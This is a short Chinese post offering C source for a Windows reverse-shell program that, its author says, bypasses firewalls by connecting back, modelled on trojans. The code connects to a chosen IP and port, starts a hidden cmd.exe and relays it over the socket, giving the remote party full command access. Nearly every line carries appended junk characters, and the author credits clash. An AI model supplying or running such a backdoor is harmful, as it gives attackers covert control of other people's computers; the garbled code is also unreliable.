这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 UDFDJm$
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/* ============================== (lqC[:
Rebound port in Windows NT SulY1,
By wind,2006/7 gVuFHHeUz
===============================*/ VQ@
#include e%M;?0j
#include Y|qTyE%
{S\{Ii6
#pragma comment(lib,"wsock32.lib") ?z+eWL
{YC@T(
void OutputShell(); ]/6z;
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SOCKET sClient; 1GRCV8"Z^
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; >R_&Ouh:
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void main(int argc,char **argv) _LnpnL:
{ . Efk*
WSADATA stWsaData; (WJRi:NP?
int nRet; Jpq~
SOCKADDR_IN stSaiClient,stSaiServer; w2c?.x
h#*dI`>l-
if(argc != 3) S hWJ72c
{ 29b9`NXt
printf("Useage:\n\rRebound DestIP DestPort\n"); e9tjw[+A
return; qR{=pR
} cjY-y-vO
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WSAStartup(MAKEWORD(2,2),&stWsaData); Izc\V9+
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kD%( _K5
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stSaiClient.sin_family = AF_INET; ]W!0$'o
stSaiClient.sin_port = htons(0); j (d~aqW
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ml5w01O
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) & .j&0WE
{ ^ytrK
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printf("Bind Socket Failed!\n"); JbbzV>
return; ,0 sm
} pv&sO~!iC
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stSaiServer.sin_family = AF_INET; e*C(q~PQ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); _H%c;z+
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); B 3I`40#
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) '<<t]kK[N
{ c?-H>u
printf("Connect Error!"); / SB;Von
return; jr."I+
} G` A4|+W"
OutputShell(); zw[m9N5\h
} EVSX.'&f
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void OutputShell() _{KG
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{ 8nJpp
char szBuff[1024]; dn3y\
SECURITY_ATTRIBUTES stSecurityAttributes; m(!FHPvN
OSVERSIONINFO stOsversionInfo; Fxz"DZY6
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; xp{tw$
STARTUPINFO stStartupInfo; ~
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char *szShell; q9_OGd|P
PROCESS_INFORMATION stProcessInformation; * u>\57W
unsigned long lBytesRead; o.!Dq7R
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2ilQXy
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); FZlWsp=
stSecurityAttributes.lpSecurityDescriptor = 0; oc`H}Wvn
stSecurityAttributes.bInheritHandle = TRUE; F41=b4/
3 0H?KAV
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); oPM96
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); T5h
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); %u'ukcL7
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?tbrbkx
stStartupInfo.wShowWindow = SW_HIDE; wHy!CP%
stStartupInfo.hStdInput = hReadPipe; 25?6gu*Z
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ICQKP1WFp
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GetVersionEx(&stOsversionInfo); C'x&Py/#
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switch(stOsversionInfo.dwPlatformId) +e``OeXog
{ L,!?Nt\
case 1: GTd,n=
szShell = "command.com"; .k !{*
break; MTn{d
default: (<9u-HF#
szShell = "cmd.exe"; ]=BB#
break; [W&T(%(W-
} =^?/+p8k
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); hgq;`_;1,
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send(sClient,szMsg,77,0); qE"OB
while(1) zDG b7S{
{ H:|uw
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9'B `]/L
if(lBytesRead) oEv'dQ9
{ Dd|VMW=
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2^7`mES
send(sClient,szBuff,lBytesRead,0); AK4t\D)K1
} guR/\z$D@C
else W=?<<dVYD
{ ?J0y|
lBytesRead=recv(sClient,szBuff,1024,0); Bzf^ivT3L
if(lBytesRead<=0) break; I?CZQ+}Hq
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 'g\4O3&_
} L4W5EO$
} R|(a@sL
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return; RRJ%:5&
}